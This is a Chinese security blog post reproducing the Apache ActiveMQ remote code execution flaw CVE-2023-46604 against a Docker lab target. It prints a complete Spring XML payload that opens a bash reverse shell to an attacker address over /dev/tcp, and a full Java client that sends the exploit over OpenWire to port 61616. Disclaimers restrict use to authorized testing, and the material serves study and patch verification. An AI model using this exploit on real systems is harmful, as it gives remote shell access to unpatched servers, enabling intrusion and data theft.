四八七驴安全历险记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
漏洞信息:
披露时间:2023-10-25
漏洞概述:
Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。
影响版本:
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
环境搭建:
https://hub.docker.com/r/rmohr/activemq
docker pull rmohr/activemq
docker run -d -p 61616:61616 -p 8161:8161 rmohr/activemq
访问靶机环境Web端口
http://192.168.100.156:8161/
凭证admin/admin
登录ActiveMQ后台
http://192.168.100.156:8161/admin/
版本为5.15.6
漏洞复现:
攻击机启动反弹shell监听
poc.xml上传到攻击机VPS或本地局域网攻击机,设置反弹shell地址以及监听
<beansxmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.100.129/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
在poc.xml所在目录,使用Python3启动临时Web服务
python3 -m http.server 9999 //端口9999
修改ActiveMQ.java文件中String ip为目标IP,String poc.xml为攻击机启动的Web服务
javac编译成class
import java.io.*;
import java.net.Socket;
public class ActiveMQ {
public static void main(final String[] args) throws Exception {
System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
String ip = "192.168.100.156";
int port = 61616;
String pocxml= "http://192.168.100.129:9999/poc.xml";
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0);
out.writeByte(31);
out.writeInt(1);
out.writeBoolean(true);
out.writeInt(1);
out.writeBoolean(true);
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
out.writeBoolean(true);
out.writeUTF(pocxml);
out.close();
os.close();
sck.close();
System.out.println("[*] Targett" + ip + ":" + port);
System.out.println("[*] XML addresst" + pocxml);
System.out.println("[*] Payload send success.");
}
}
运行class文件
java ActiveMQ
原文始发于微信公众号(四八七驴安全历险记):Apache ActiveMQ 远程代码执行漏洞(CVE-2023-46604)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论